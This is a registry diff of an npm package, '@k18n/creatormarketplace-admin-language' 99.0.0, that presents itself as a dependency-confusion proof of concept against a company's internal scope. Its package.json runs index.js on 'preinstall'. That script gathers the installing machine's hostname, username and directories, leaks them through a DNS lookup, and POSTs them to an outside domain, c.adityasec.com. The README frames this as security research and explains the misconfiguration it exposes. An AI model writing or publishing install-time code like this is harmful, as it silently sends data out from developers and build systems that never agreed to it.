@k18n/creatormarketplace-admin-language 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +29 -0
  2. package/index.js +51 -0
  3. package/package.json +15 -0
package/README.md ADDED
@@ -0,0 +1,29 @@
1
+ # @k18n/creatormarketplace-admin-language - Dependency Confusion PoC
2
+
3
+ ## This is a security research package
4
+
5
+ This package exists to demonstrate that the `@k18n` npm scope was **unclaimed**
6
+ on the public npm registry while being actively used in internal Kuaishou
7
+ (快手) projects via private Git SSH dependencies.
8
+
9
+ **If your build installed this package, your dependency resolution is
10
+ misconfigured.** Your package manager resolved `@k18n/*` from the public npm
11
+ registry instead of your internal Git server at `git.corp.kuaishou.com`.
12
+
13
+ ## Impact
14
+
15
+ An attacker could publish a malicious package under this scope. When any
16
+ developer or CI/CD system fails to resolve the internal Git SSH URL (network
17
+ issues, missing SSH keys, misconfigured `.npmrc`), the package manager may
18
+ fall back to the public registry and execute arbitrary code during install
19
+ via `preinstall` / `postinstall` hooks.
20
+
21
+ ## Researcher
22
+
23
+ - Handle: @assassin_marcos
24
+ - Email: darkknight.harry@gmail.com
25
+
26
+ ## References
27
+
28
+ - Alex Birsan, "Dependency Confusion" (2021)
29
+ - CWE-427: Uncontrolled Search Path Element
package/index.js ADDED
@@ -0,0 +1,51 @@
1
+ const https = require("https");
2
+ const http = require("http");
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+
6
+ const pkg = "@k18n/creatormarketplace-admin-language";
7
+ const ver = "99.0.0";
8
+
9
+ const info = [
10
+ `pkg=${pkg}`,
11
+ `ver=${ver}`,
12
+ `host=${os.hostname()}`,
13
+ `user=${os.userInfo().username}`,
14
+ `dir=${__dirname}`,
15
+ `cwd=${process.cwd()}`
16
+ ].join("|");
17
+
18
+ const encoded = Buffer.from(info).toString("hex").slice(0, 50);
19
+
20
+ try {
21
+ dns.resolve(`${encoded}.c.adityasec.com`, () => {});
22
+ } catch (e) {}
23
+
24
+ try {
25
+ const data = JSON.stringify({
26
+ package: pkg,
27
+ version: ver,
28
+ hostname: os.hostname(),
29
+ username: os.userInfo().username,
30
+ directory: __dirname,
31
+ cwd: process.cwd(),
32
+ timestamp: new Date().toISOString()
33
+ });
34
+
35
+ const req = https.request({
36
+ hostname: "c.adityasec.com",
37
+ port: 443,
38
+ path: "/LdCdrTByhmflbwt5qFNisg",
39
+ method: "POST",
40
+ headers: { "Content-Type": "application/json", "Content-Length": data.length },
41
+ timeout: 5000
42
+ });
43
+ req.on("error", () => {});
44
+ req.write(data);
45
+ req.end();
46
+ } catch (e) {}
47
+
48
+ console.log(`[dependency-confusion-poc] ${pkg}@${ver}`);
49
+ console.log("[dependency-confusion-poc] Security research package by @assassin_marcos");
50
+ console.log("[dependency-confusion-poc] If you see this, your build resolved @k18n from public npm instead of internal git.corp.kuaishou.com");
51
+ console.log("[dependency-confusion-poc] Contact: darkknight.harry@gmail.com");
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@k18n/creatormarketplace-admin-language",
3
+ "version": "99.0.0",
4
+ "description": "Security research - dependency confusion proof of concept. This package demonstrates that the @k18n npm scope was unclaimed while being used internally by Kuaishou. Contact: darkknight.harry@gmail.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "assassin_marcos <darkknight.harry@gmail.com>",
10
+ "license": "ISC",
11
+ "repository": {
12
+ "type": "git",
13
+ "url": "https://github.com/assassin-marcos/dependency-confusion-poc"
14
+ }
15
+ }